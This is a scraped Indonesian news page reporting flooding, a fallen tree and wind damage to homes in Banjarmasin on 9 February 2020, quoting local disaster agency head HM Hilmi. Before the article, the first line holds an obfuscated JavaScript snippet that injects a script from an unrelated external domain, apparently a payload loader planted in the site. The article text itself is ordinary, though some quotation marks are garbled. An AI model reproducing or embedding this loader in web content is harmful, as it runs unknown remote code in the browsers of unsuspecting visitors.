(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Hujan lebat yang mengguyur kota Banjarmasin pada Minggu (9/2/2020) siang, mengakibatkan sejumlah titik di ibu kota provinsi Kalsel tergenang. Berdasarkan data dari BPBD Kota Banjarmasin, sedikitnya tiga titik tergenang akibat hujan lebat, dengan kedalaman bervariatif.
“Pertama, di jalan Kampung Melayu Kelurahan Melayu dengan ketinggian air 5-10 centimeter. Kedua, di jalan A Yani kilometer 5 Gg Karya Nyata RT 24 RW 02 Kelurahan Pemurus Luar, Banjarmasin dengan ketinggian air 10-15 centimeter. Terakhir, di jalan Pramuka Komplek Semanda, Kelurahan Sungai Lulut, Banjarmasin,†kata Kepala Pelaksana BPBD Kota Banjarmasin HM Hilmi, Minggu (9/2/2020) petang.
Genangan sendiri, diakibatkan hujan dengan intensitas sedang. Sehingga mengakibatkan beberapa ruas jalan di Kota Banjarmasin tergenang.
Selain itu, hujan lebat yang disertai angin kencang juga mengakibatkan beberapa pohon di kota Banjarmasin tumbang. Menurut Hilmi, musibah pohon tumbang terjadi di Jalan Mayjen Sutoyo S, samping Gg Baru 82 RT 06 RW 01 Kelurahan Teluk Dalam, Banjarmasin.
“Akibat hujan dan angin kencang menyebabkan 1 buah pohon jenis ketapang roboh dan menimpa 2 buah sepeda motor yang terparkir di bawah pohon,†jelas Hilmi.
Tak hanya pohon, angin kencang juga mengakibatkan kerusakan sejumlah rumah penduduk di Kelurahan Teluk Tiram dan Kelurahan Teluk Dalam. Hilmi membeberkan, musibah angin kencang terjadi di Jalan Teluk Tiram Darat Gg Rahmat RT 04 RW 01 Kelurahan Teluk Tiram, Banjarmasin. “Satu buah rumah atapnya yang terbawa angin kencang,†sebutnya.
Selain di Kelurahan Teluk Tiram, angin kencang juga merusak puluhan rumah di Kelurahan Teluk Dalam, Banjarmasin. Rumah yang mengalami kerusakan di kelurahan ini tergolong cukup banyak.
“Beberapa rumah mengalami kerusakan di bagian atap dan dinding dan mengakibatkan 15 rumah rusak sedang, 20 kepala keluarga dengan 60 jiwa,†sebut Hilmi
Beruntung tidak ada korban jiwa dalam tiga kejadian di atas. Kendati begitu, BPBD Kota Banjarmasin belum bisa menaksir nominal kerugian, terlebih kendaraan yang rusak akibat tertimpa pohon maupun rumah yang rusak akibat angin puting beliung.
“Kami telah melakukan evakuasi harta benda korban dan pendataan musibah rumah yang rusak,” tandas Hilmi. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.